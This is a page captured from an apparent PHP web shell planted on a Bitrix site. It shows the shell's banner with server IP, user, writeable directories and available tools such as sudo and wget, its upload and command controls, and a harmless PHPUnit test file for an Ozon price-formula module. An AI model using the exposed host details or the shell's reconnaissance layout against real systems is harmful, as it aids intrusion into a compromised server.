403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wbs24.ozonexport/tests/unit/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wbs24.ozonexport/tests/unit/FormulaTest.php
<?php
namespace Wbs24\Ozonexport;

use Bitrix\Main\Loader;

class FormulaTest extends BitrixTestCase
{
    public function test_calc()
    {
        // входные параметры
        $fields = [
            'PRICE' => 1000,
        ];
        $formula = '(100 + (1.1 * {PRICE}) + (1.2 * {PRICE})) / 2';

        // результат для проверки
        $expectedResult = '(100 + (1.1 * 1000) + (1.2 * 1000)) / 2';

        // заглушки
        $CalcExpressionStub = $this->getMockBuilder(\stdClass::class)
            ->setMethods(['run'])
            ->getMock();
        // проверка
        $CalcExpressionStub->expects($this->once())
            ->method('run')
            ->with($this->equalTo($expectedResult));

        // вычисление результата
        $object = new Formula([
            'CalcExpression' => $CalcExpressionStub,
        ]);
        $object->setFormula($formula);
        $result = $object->calc($fields);
    }

    public function test_cleanFormula()
    {
        // входные параметры
        $formula = '(100 + <&mnsp;(1,1 * {PURCHASE_PRICE})>!&%garbage + ({PRICE} * 1.2)) / 2 - 200';
        $marks = [
            'PRICE',
            'PURCHASE_PRICE',
        ];

        // результат для проверки
        $expectedResult = '(100 + (1.1 * {PURCHASE_PRICE}) + ({PRICE} * 1.2)) / 2 - 200';

        // заглушки

        // вычисление результата
        $object = new Formula();
        $object->setMarks($marks);
        $result = $object->cleanFormula($formula);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit